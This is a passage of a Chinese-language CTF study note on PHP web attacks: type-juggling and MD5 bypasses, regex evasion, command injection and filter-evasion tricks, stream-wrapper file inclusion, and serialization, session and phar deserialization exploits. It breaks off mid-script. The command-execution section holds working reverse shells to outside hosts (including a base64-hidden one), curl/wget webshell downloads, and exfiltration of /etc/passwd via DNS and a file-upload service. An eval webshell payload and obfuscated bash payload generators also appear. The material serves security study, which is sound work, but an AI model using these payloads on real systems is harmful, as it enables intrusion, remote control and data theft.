php相关

php相关

​ 借鉴了小迪安全以及各位大佬的博客,如果一切顺利,会不定期更新。

如果感觉不妥,可以私信删除。

默认有php基础。

文章目录

  • php相关
    • 1. php 缺陷函数
      • 1. `==`与`===`
      • 2. MD5
      • 3. intval()
      • 4. preg_match()
    • 2. php特性
      • 1. php字符串解析特性
      • 2. 杂项
    • 3. 命令执行与远程命令执行RCE
      • 1. 常见命令
      • 2. 常见绕过
    • 4. php URL封装协议(伪协议)
      • 1. file://
      • 2. php://
      • 3. zip:// bzip2:// zlib://
      • 4. data://
      • 5. 实例演示
    • 5. php反序列化
      • 1. 序列化格式
      • 2. 三种访问控制区别
      • 3. 魔术方法
      • 4. 绕过方法
        • 1. 绕过__wakeup()
        • 2. 绕过preg_match关键词匹配
        • 3. 绕过throw new Exception
        • 4. 绕过md5或sha1校验
      • 5. 反序列化字符逃逸
      • 6. php session反序列化
    • 6. phar反序列化
      • 1. 概念
      • 2. 绕过
    • 7. Soap反序列化
    • 参考文章

1. php 缺陷函数

正则表达式在线测试 | 菜鸟工具 (jyshare.com)

1. =====

== 弱类型比较,先转换成类型相同的再比较

=== 强类型比较,比较地址

var_dump("a123"==123);//false,正常情况读取到字母结束
var_dump("123a456"==123);//true
var_dump(0e35==0e36);//true,0*(10^a)类型转换后都是0
var_dump("hello"==0);//true,字符串转类型后是0
echo "123a"+7;//130
echo 7+"11a5";//18

2. MD5

  1. 数组绕过
if ($_GET['a'] != $_GET['b']){//?a[]=6&b[]=7
	if (md5($_GET['a']) === md5($_GET['b'])){
		echo 666;
	}
else{
	print 'Wrong.';
	}
}
  1. 自身前后md5相等绕过

意思是自身MD5后依旧是0e开头

$a=0e215962017;
if(md5($a)==$a){
    echo 666;
}
  1. 绕过==比较

使两个数MD5后都是0e 开头

$a=(string)"QNKCDZO";//a=QNKCDZO&b=240610708
$b=(string)"240610708";
if(  ($a!==$b) && (md5($a)==md5($b)) ){
	echo md5($a)." ".md5($b);
//0e830400451993494058024219903391 0e462097431906509019562988736854
}
  1. 使用fastcoll.exe绕过===判断

具体看我MD5强碰撞的复现。

3. intval()

定义:用于获取变量的整数值;通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

intval(mix $var[,int $base=10])
$base,转化所使用的进制,$base0时看$var的前缀来转化
如果是0x或0X则原字符串使用16进制
如果是0则原字符串使用8进制
如果是0b或0B则原字符串使用2进制
否则原字符串使用10进制

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>
  1. 进制转换绕过
$num="0x117c";
if($num==="4476"){
    die("no no no!");
}
if(intval($num,0)===4476){//字符串转int
    echo "you got it";
}
else{
    echo intval($num,0);
}
  1. 科学计数法绕过
  2. 小数点绕过

intval()函数如果base为0,字符串包含字母就停止读取,除了e。

header("Content-Type:text/html;charset=utf-8");
$a=$_GET['a'];//?a=4476e1或者4476.1
echo $a;
if($a==4476){
    die("no no no!");
    
}
if(intval($a,0)==4476){
    echo "yes";
}

4. preg_match()

正则匹配函数

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) 

$pattern: 要搜索的模式,字符串形式。
$subject: 输入字符串。
$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。

​ 当preg_match返回值不以===的形式判断时,可以使其返回出现错误时的False来冒充未匹配到字符串时返回的0

  1. preg_match()函数要求第二个参数subject为字符串,可以传一个数组,使函数返回False。

在这里插入图片描述

  1. 利用%0a截断字符串进行换行绕过,需要在浏览器上传参。
<?php
header("Content-Type:text/html;charset=utf-8");
$a=$_GET['a'];
//"hello%0a"
if(preg_match('/^hello$/',$a)&&$a!=="hello"){
    echo "success";
}else{
    echo "fail";
}

在这里插入图片描述

  1. 利用PCRE回溯的有限次绕过。(标志是贪婪匹配)

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)

var_dump(ini_get('pcre.backtrack_limit'));//最大回溯次数,1000000
$a="union /*".str_repeat('a',1000000)."*/ select";
var_dump(preg_match('/union.+?select/is','')&&$a!=="hello");//False

2. php特性

1. php字符串解析特性

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

  1. 删除空白格
  2. 将某些字符转换成下划线。

在这里插入图片描述

$a=$_GET['a_b_c_d'];
//?a+b.c.d=%0ahello
if(substr_count($_SERVER['QUERY_STRING'],'_')==0){//变量名需要绕过_
    if(preg_match("/^hello$/im",$a)){//多行匹配
        if(!preg_match("/^hello$/i",$a)){
            echo "you got it";
        }
    }
}

php变量名不允许使用点号,会变成下划线,但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化。

$a=$_GET['a_b.c.d'];//?a[b.c.d=6
echo $a;//6

2. 杂项

_()gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数

3. 命令执行与远程命令执行RCE

Lazzaro佬太强啦

1. 常见命令

在这里插入图片描述

#linux常见命令
cat/more/less/head/sort/tail/nl/sed/cut/tac/awk/strings/od/curl/wget

#向文件xxx写ls的内容
ls > xxx 
ls|tee xxx

curl -X POST -d"data=123&key=456" http://www.jackyops.com/search -v 

#写shell
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9tYXg2LmZ1bi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}' 
	#bash -i >& /dev/tcp/max6.fun/6666 0>&1
echo -e "%23!/bin/sh\nwhile read line\ndo\necho \$line\ndone < /flag" > ../../../read 
	# #!后面跟着解释器的路径
bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1" #反弹shell

#从网站下载内容并写入文件
curl -o shell.php http://xxxxxx.txt
wget -O shell.php http://xxxxxx.txt
	#从网站下载文件到shell.php中

#windows cmd
type

#php
system/exec/shell_exec/passthru/popen/proc_open/反引号

pcntl_exec('/bin/ls', array('-l'));  #在windows不可用
	# 这行代码之后的任何代码都不会被执行,因为进程已经被替换

php -r '$sock=fsockopen("ip",6666);exec("/bin/bash -i <&3 >&3 2>&3");'


#拼接符
gcc m1.c& 后台执行
|  上一条命令的输出作为下条命令的输入
&& 前一条命令执行成功时,才执行后一条命令
|| 上一条命令执行失败后,才执行下一条命令
cat file1;data;pwd;who  #;把多条命令,拼接在一起后执行
//echo @eval(new Exception(system('calc')));
//echo `whoami`;
//call_user_func('system',"whoami");
//echo exec("whoami");

echo fgets(popen('whoami','r'));//popen打开一个指向命令的进程的指针
$descriptorspec = array(  
    0 => array("pipe", "r"),  // stdin 是从 PHP 来的一个管道  
    1 => array("pipe", "w"),  // stdout 是一个管道,送到 PHP  
    2 => array("pipe", "w")   // stderr 是一个管道,送到 PHP  
 );  
   
 $process = proc_open('whoami', $descriptorspec, $pipes);  
 if (is_resource($process)) {  
     // 读取输出  
     $stdout = stream_get_contents($pipes[1]);  
     fclose($pipes[1]);  
     // 关闭进程  
     $return_status = proc_close($process);  
     echo "命令输出:\n$stdout";  
 }


//echo new ReflectionClass(system("dir")());//php反射
class A{
    public function abc($a){
        echo $a;
    }
}
$rc=new ReflectionClass('A');//通过反射获取类
$func=$rc->newInstance();//实例化类
$func->abc("666");

//@ 符号被称为错误控制运算符,它会告诉PHP忽略该表达式执行时产生的任何错误消息

2. 常见绕过

空格

<<>%20%09(需要php环境),$IFS${IFS}$IFS$9{cat,1.txt}

加号

通过 GET方式传值的时候,+号会被浏览器处理为空,所以需要转换为%2b

分号

%0a

命令(比如cwd)

a=p;b=wd;$a$b,p''wd,p""wd,p\`\`wd,p\wd,pwd$u,`echo cHdk|base64 -d\`,echo "707764"|xxd -r -p|bash
#xxd -r -p,还原hex文件,将纯十六进制转储的反向输出打印为了ASCII格式

关键词(比如flag)

fla*,f???,flag$u,fl“a”g,fl‘a’g
php -r "echo chr(47).chr(102).chr(108).chr(97).chr(103)"

IP地址

转数字地址:https://ipnum.bmcx.com/

利用平台

curl https://bashupload.com/ -T file.txt #上传文件到bashupload.com上
curl `cat /etc/passwd|base64`.xxx.dnslog.cn #参数放子域名,通过dns外带

php

echo [].[];//ArrayArray
$_= (0/0)._;
echo $_;//NAN_
$_=$_[0];
echo $_;//N
echo (_/_._)[0];//N

取反

<?php
$ans1='system';//函数名
$ans2='dir';//命令
$data1=('~'.~$ans1);//通过两次取反运算得到system
$data2=('~'.~$ans2);//通过两次取反运算得到dir
$b= ('('.$data1.')'.'('.$data2.')'.';');
echo eval($b);

linux下

~a=-(a+1)

八进制ls命令
$'\154\163'

$(())=0
$((~$(())))=-1
$((1<<1))=2
${##}=1
$0 	bash命令

bash对整数的表达形式为`[base#]n`
比如十进制4表示成2进制100,在bash里可以表示为`2#100`
154可以用$(($((1<<1))#10011010)) 表示

在bash里,`<<<`称作(here-strings),语法:`command [args] <<< ["]$word["]`
其中$word会展开并作为command的stdin
bash <<< $\'\\154\\163\' 右侧命令将初步解析为$'\154\163',作为参数给到bash命令

使用两次here-strings完成ls -al指令
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\\$(($((1<<1))#101000))\\$(($((1<<1))#110111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10011010))\'
cmd = 'ls -al'
payload = '$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:
        payload += f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'
payload += '\\\''
print(payload)
/**
* 复制并使用代码请注明引用出处哦~
* Lazzaro @ https://lazzzaro.github.io
*/

仅含 <$!{}()_&

下面代码在kali linux中跑不了,原因如下

echo $0的结果是zsh时,a=123运行echo${!a}的结果是echo ${a=123},再按回车输出123,另外运行${$(())}结果是0。

echo $0的结果是bash时,a=$(())运行echo${!a}的结果是bash,下面代码可以执行。

所以是bash与zsh间接引用${!name}的区别?!!

cmd = 'ls -al'

r = {}

x = '$((~$(())))'#-1

for i in range(1,9):
        r[i] = '$((~$(('+x
        for j in range(i):
                r[i] += x
        r[i] += '))))'

r[0] = '$(())'

payload = '__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
        payload += '\\\\'
        for i in oct(ord(c))[2:]:
                payload += r[int(i)]

payload += '\\\''
print(payload)
"""
__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
"""

/**
* 复制并使用代码请注明引用出处哦~
* Lazzaro @ https://lazzzaro.github.io
*/

在这里插入图片描述

4. php URL封装协议(伪协议)

include() // include在包含的过程中如果出现错误,会抛出一个警告,程序 继续正常运行

include_once() // 如果一个文件已经被包含过,则不会在包含它

require() // require函数出现错误的时候,会直接 报错并退出 程序的执行。

require_once() // 如果一个文件已经被包含过,则不会在包含它

php.ini(配置文件):file://协议在双off的情况下也可以使用。

allow_url_fopen :off/on

allow_url_include:off/on

URL封装协议(URL wrapper)允许你通过统一的接口来访问不同类型的资源。

file:// — 访问本地文件系统,
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams),
zlib:// — 压缩流,可访问压缩文件中的子文件,无需指定后缀名
bzip2://
zip://
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

1. file://

条件:include()等参数可控,目录下支持脚本解析

用法:file:///uploads/1.php

file://http://xxx.com/xx.php

2. php://

https://www.php.net/manual/zh/wrappers.php.php

条件:allow_url_include为on

以下为常见形式

'php://input' 
    //POST请求的情况下,php://input可以获取到post的数据,enctype为multiple/form-data时无效
    
'php://output'
	//只写数据流,允许以echo和print方式写入到输出缓冲区
    
'php://filter'
    //常用,可实现任意文件读取
    /*
resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>         该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>    任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
    */
    //对read和write常见过滤器有string.rot13,string.toupper,string.tolower,string.strip_tags,convert.base64-encode
    //?page=php://filter/read=convert.base64-encode/resource=upload.php
    

3. zip:// bzip2:// zlib://

条件:allow_url_fopen:off/on allow_url_include :off/on

用法:

zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
compress.bzip2://file.bz2
compress.zlib://file.gz

4. data://

条件:allow_url_fopen:on allow_url_include :on

作用:数据流封装器,用来传递相应格式数据,可执行php代码

用法:

data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

5. 实例演示

index.php

<?php
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if(isset($_GET['filter'])){
    $f=$_GET['filter'];
    echo $f;
    echo "<br>";
    include($f);
    //include_once($f);
    //$l=file_get_contents($f);//allow_url_include = On
    //echo $l;
    /*
    ?filter=php://filter/read=convert.base64-encode/resource=1.php
    ?filter=file://C:\phpstudypro\WWW\1.php //写绝对路径

    http://localhost/index.php?filter=php://input
    POST: <?php phpinfo();@eval($_POST['123']);?> //文件包含漏洞,antsword直接连

    zip://1.zip%231.php  //%23是#
    data://text/plain,<?php%20echo%20file_get_contents('1.php');?>
	http://localhost/1.php
	
    */  
}

1.php

<?php
$flag="flag{you_got_it,baby}";
echo $flag;

在当前目录下将1.php压缩成1.zip。

在这里插入图片描述

在这里插入图片描述

5. php反序列化

1. 序列化格式

概念:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 序列化的对象可以是class也可以是Array,string等其他对象。

问题原因:漏洞的根源在于**unserialize()**函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

序列化格式:

对象类型:对象名长度:”对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:”变量名2”; 参数2类型:参数2长度:参数2;… …}

提示符数据类型格式
s字符串s:size:value;
i整数i:value;
d浮点数d:value;
b布尔值b:value;(保存0或1)
N空值N;
a数组a:size:{key definition;value definition;[repeat]}
O对象O:strlen(Object name):Object name:Object size:{s:strlen(property name):name;property definition;[repeat]}
R指针引用R:9;
<?php
class Person{
    public $name;
    public $age;
    public $array1;
    //第一个key为0,第二个key为call,第三个为1
    public $obj;
    public function __construct($n=null,$a=null,$arr=[],$obj){
        $this->name=$n;
        $this->age=$a;
        $this->array1=$arr;
        $this->obj=$obj;
    }
    public function hello(&$obj){
        print("name: ".$this->name." age: ".$this->age);
    }
}
class c{
    public $price;
    public $height;
    public function __construct($n=null){
        $this->price=$n;
        $this->height=&$this->price;//指针引用
        //Person,name,age,array1,array1里的三个元素,obj,price
        //引用的price为第九个,故R:9
    }
}
$a=new Person("cllsse",123,[False,"call"=>119,null],new c(110.1));
echo serialize($a);

O:6:"Person":4:{s:4:"name";s:6:"cllsse";s:3:"age";i:123;s:6:"array1";a:3:{i:0;b:0;s:4:"call";i:119;i:1;N;}s:3:"obj";O:1:"c":2:{s:5:"price";d:110.1;s:6:"height";R:9;}}

2. 三种访问控制区别

public: 变量名

protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名%00 + * + %00 + 变量名

private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名%00 + 类名 + %00 + 变量名

注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)

<?php
class B{
    public $aa;
    protected  $bb;
    private $cc;
}
$a=new B();
$b=serialize($a);
echo $b."\n";//O:1:"B":3:{s:2:"aa";N;s:5:"*bb";N;s:5:"Bcc";N;}
echo serialize(unserialize("O:1:\"B\":3:{s:2:\"aa\";N;s:5:\"\00*\00bb\";N;s:5:\"\00B\00cc\";N;}"));

3. 魔术方法

__construct()  #每次创建新对象时先调用此方法
__destruct()  #某个对象的所有引用都被删除或者销毁时调用
#没有变量指到当前对象时也会被触发
# a:2:{i:0;O:4:"User":0:{}i:0;s:3:"xxx";},被覆盖后没有变量指向User对象)
__toString()  #把类被当做一个字符串使用时调用
__wakeup()  #使用unserialize函数,反序列化恢复对象之前时调用
__sleep()  #使用serialize()函数,序列化对象之前时调用
__call()  #在对象中,调用不存在的方法或调用权限不足时调用
__callstatic()    #在静态上下文中,调用不可访问的方法时触发
__get()  #访问不存在的成员变量时调用
__set()   #设置不存在的成员变量时调用
__invoke()  #当尝试以调用函数的方式调用一个对象时触发
__autoload()  #尝试加载未定义的类
__isset()   #在不可访问的属性上调用isset()或empty()触发
__unset()   #在不可访问的属性上使用unset()时触发

4. 绕过方法

1. 绕过__wakeup()

CVE-2016-7124

利用条件:

  • php5:< 5.6.25
  • php7:< 7.0.10

当反序列化时, 给出的字段个数的数字小于提供的字段个数, 将不会执行__wakeup

<?php
class c{
    public $price;
    public $height;
    public function __construct($n=null){
        $this->price=$n;
        $this->height=&$this->price;
        echo "调用了construct"."<br>";
    }
    public function __wakeup(){
        echo "调用了wakeup"."<br>";
    }
    public function __destruct(){
        echo "调用了destruct"."<br>";
    }
}
$a=new c();
$a=serialize($a);
echo $a."<br>";
//O:1:"c":2:{s:5:"price";N;s:6:"height";R:2;}
$b=unserialize('O:1:"c":10:{s:5:"price";N;s:6:"height";R:2;}');//2<10绕过wakeup
echo gettype($b)."<br>";

在这里插入图片描述

  • php7.3 __wakeup绕过

使用内置类 ArrayObject

其他类:ArrayIterator / RecursiveArrayIterator / SplObjectStorage

愚人杯3rd easy_php

$arr=array("a"=>1,"b"=>2);
$ao=new ArrayObject($arr);
echo serialize($ao);
//C:11:"ArrayObject":45:{x:i:0;a:2:{s:1:"a";i:1;s:1:"b";i:2;};m:a:0:{}}
<?php
class ctfshow {
    public $ctfshow;
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
        echo "OK";
        system($this->ctfshow);
    }
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}
/*
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res; */
//?1%2b1%3E2=C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}
2. 绕过preg_match关键词匹配
  • php低版本

使用+<绕过正则^O:\d+

O:+1:"c":2:{s:5:"price";N;s:6:"height";R:2;}

O:<1:"c":2:{s:5:"price";N;s:6:"height";R:2;}

  • 16进制绕过

当序列化类型是s时,可使用大写S来进行16进制绕过

$b=unserialize('O:1:"c":2:{S:5:"\70\72\69\63\65";N;s:6:"height";R:2;}');

3. 绕过throw new Exception
$c=@unserialize($_POST['123']);
throw new Exception("fail");//throw new Exception会先于destruct()执行
  • 去掉最后大括号,利用反序列化报错来防止进入Exception
POST: 123=a:2:{i:0;O:1:%22c%22:2:{s:5:%22price%22;N;s:6:%22height%22;R:3;}i:1;i:0;
  • GC垃圾回收机制
$a=new c();
$b=array($a,0);
$b=serialize($b);
echo $b."\n";//a:2:{i:0;O:1:"c":2:{s:5:"price";N;s:6:"height";R:3;}i:1;i:0;}
//POST: a:2:{i:0;O:1:"c":2:{s:5:"price";N;s:6:"height";R:3;}i:0;i:0;}
//把最后一个key改为0

因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为c对象,同时我们又将Array[0]设置为null,这样前面的c对象便丢失了引用,就会被GC所捕获,便可以执行__destruct

4. 绕过md5或sha1校验
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ) {
            echo eval($this->var1);
}

利用两个不同对象,__toString()方法返回值相同的方式绕过

$a1=new Exception($cmd,0);$a2=new Exception($cmd,1);//$code不同
//写在同一行toString相同

5. 反序列化字符逃逸

​ PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。

​ 对于服务端上将传入的字符串实际长度进行增加或减少(例如替换指定字符到更长/短的字符), 我们就可以将其溢出并且对我们的恶意字符串反序列化。

字符串增加时

<?php
Class Test{
    public $name="lxx";
    public $id=114514;
    public $wage=9.9;
}
function filter($str){
    return str_replace("x","yy",$str);//x替换成yy
}
$a=new Test();
echo serialize($a)."\n";
//O:4:"Test":3:{s:4:"name";s:3:"lxx";s:2:"id";i:114514;s:4:"wage";d:9.9;}
echo filter(serialize($a))."\n";
//O:4:"Test":3:{s:4:"name";s:3:"lyyyy";s:2:"id";i:114514;s:4:"wage";d:9.9;}

可以看到xx被替换成了``yyyy`

假设我们要插入替换的代码为";s:2:"id";i:1919810;s:4:"wage";d:12.5;},长度为40

与前面闭合成s:3:"lxx";s:2:"id";i:1919810;s:4:"wage";d:12.5;}"

1+x+40=1+2x

x=40,即需要40个x来完成逃逸。

$b='O:4:"Test":3:{s:4:"name";s:81:"l'.str_repeat('x',40).'";s:2:"id";i:1919810;s:4:"wage";d:12.5;}';
$b=$b.'";s:2:"id";i:114514;s:4:"wage";d:9.9;}';
echo $b."\n";
$c=filter($b);
var_dump($c);
echo serialize(unserialize($c));
//O:4:"Test":3:{s:4:"name";s:81:"l
//xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
//";s:2:"id";i:1919810;s:4:"wage";d:12.5;}
//";s:2:"id";i:114514;s:4:"wage";d:9.9;}

在这里插入图片描述

可以看到filter函数执行后,s:81多了一堆y占位,让我们插入的恶意代码成功逃逸,并且在反序列化的过程中,截断了第一个}后面的内容。

字符串减少时

<?php
Class Test{
    public $name="lxx";//可控
    public $fruit="apple";//可控
    public $id=114514;//需要修改的
}
function filter($str){
    return str_replace("x","",$str);//x替换成""
}
$a=new Test();
echo serialize($a)."\n";
//O:4:"Test":3:{s:4:"name";s:3:"lxx";s:5:"fruit";s:5:"apple";s:2:"id";i:114514;}
echo filter(serialize($a))."\n";
//O:4:"Test":3:{s:4:"name";s:3:"l";s:5:"fruit";s:5:"apple";s:2:"id";i:114514;}

我们需要让";s:5:"fruit";s:5:被吞掉,作为name的值,fruit的值的前引号会将其闭合

需要给fruit的值赋值为";s:2:"id";i:119;s:5:"fruit";s:0:"";}s:0:"

然后原本fruit的值的后引号会与其闭合。

$b='O:4:"Test":3:{s:4:"name";s:19:"l'.str_repeat('x',18).'";s:5:"fruit";s:5:';
$b=$b.'";s:2:"id";i:119;s:5:"fruit";s:0:"";}s:0:"'.'";s:2:"id";i:114514;}';
echo $b."\n";
echo serialize(unserialize(filter($b)));
//O:4:"Test":3:{s:4:"name";s:3:"lxxxxxxxxxxxxxxxxxx";s:5:"fruit";s:5:
//";s:2:"id";i:119;s:5:"fruit";s:0:"";}s:0:"
//";s:2:"id";i:114514;}

在这里插入图片描述

6. php session反序列化

​ PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler 来进行确定的,默认是以文件的方式存储。存储的文件是以sess_[sessionid]来进行命名的。

利用条件:

  1. 可以进行任意文件包含
  2. 直到session文件存放路径
  3. 具有读取和写入session文件的权限。

序列化和反序列化时使用引擎的不同会导致序列化注入漏洞

session.serialize_handler定义的引擎有三种

处理器名称存储格式
php键名 + | + 经过serialize()函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize经过serialize()函数序列化处理的数组,(php>5.5.4)
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];//?session=hello
?>

找到生成的session文件sess_uvbc2v9bb88mlrdkssab294761

在这里插入图片描述

使用php对应的session文件内容为session|s:5:"hello";

使用php_binary 对应的session文件内容为 sessions:5:"hello";

strlen(sessions)为8,对应不可见字符。

使用php_serialize对应的session文件内容为a:1:{s:7:"session";s:5:"hello";}

a:1表示$_SESSION数组中有一个元素

下面来尝试一下

index.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

1.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class Test{
    public $name="666";
    public function __construct() {
        echo "construct";
    }
    public function __destruct(){
        echo $this->name;
    }
}
$str=new Test();
?>

?session=|O:4:"Test":1:{s:4:"name";s:6:"cllsse";}

查看session文件,内容为a:1:{s:7:"session";s:40:"|O:4:"Test":1:{s:4:"name";s:6:"cllsse";}

此时访问1.php

在这里插入图片描述

利用参考

PHP BUG #71101

6. phar反序列化

1. 概念

phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。这就引出了我们攻击手法最核心的流程。

流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化

php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化。

利用条件:

  1. 我们需要在本地环境的 php.ini 中将 ;phar.readonly = On 改为 phar.readonly = Off

  2. phar文件要能够上传到服务器端。能触发的文件操作函数:

    include、file_get_contents、file_put_contents、copy、file、file_exists、is_executable、is_file、is_dir、is_link、is_writable、fileperms、fileinode、filesize、fileowner、filegroup、fileatime、filemtime、filectime、filetype、getimagesize、exif_read_data、stat、lstat、touch、md5_file

  3. 要有可用的魔术方法作为“跳板”。

  4. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

https://www.php.net/manual/zh/phar.fileformat.phar.php

phar 文件格式实际上是按照 stub/manifest/contents/signature 的形式排列的,若我们修改manifest的内容,则还需要修改manifest中表示其长度的那4字节和表示phar元数据长的的4字节,所以建议是不要修改元数据内容时增加或减少字符数。

1.php

highlight_file(__FILE__);
class getflag{
    function __destruct(){
        echo "flag{666}";
    }
}
class User {
    Public $name;
    public function __construct($n){
        $this->name=$n;
    }
    public function __destruct(){  
        $data = $_POST[0];
        if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
            die("我知道你想干吗,我的建议是不要那样做。");
        }
        echo "you got it,".$this->name;
        echo $data;
        echo file_get_contents($data);
    }
}
unserialize($_GET[0]);
//a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
//O:4:"User":1:{s:4:"name";s:6:"cllsse";}
throw new Error("那么就从这里开始起航吧");

index.php

<?php
class getflag {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new getflag();
$o=array(0=>$o,1=>null);
echo $o;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

运行生成phar.phar

修改phar文件来强制触发GC回收机制绕过throw new Error,另存为p1.phar

a:2:{i:0;O:7:"getflag":{}i:0;N;}

在这里插入图片描述

phar文件签名修复脚本

# -*- coding: utf-8 -*-
from hashlib import sha1
with open(r'C:\phpstudypro\WWW\p1.phar', 'rb')as fp:
    f=fp.read() # 修改内容后的phar文件
    s = f[:-28] # 获取要签名的数据
    h = f[-8:] # 获取签名类型以及GBMB标识
    newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
    open(r'C:\phpstudypro\WWW\p2.phar', 'wb').write(newf) # 写入新文件

在这里插入图片描述

运行python将p2.phar压缩为zip文件,绕过preg_match关键词匹配

# -*- coding: utf-8 -*-
import gzip
file = open("C:\phpstudypro\WWW\p2.phar", "rb") #打开文件
file_out = gzip.open("C:\phpstudypro\WWW\p3.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

运行python发送请求

import requests
url='http://localhost/1.php'
res=requests.post(url,
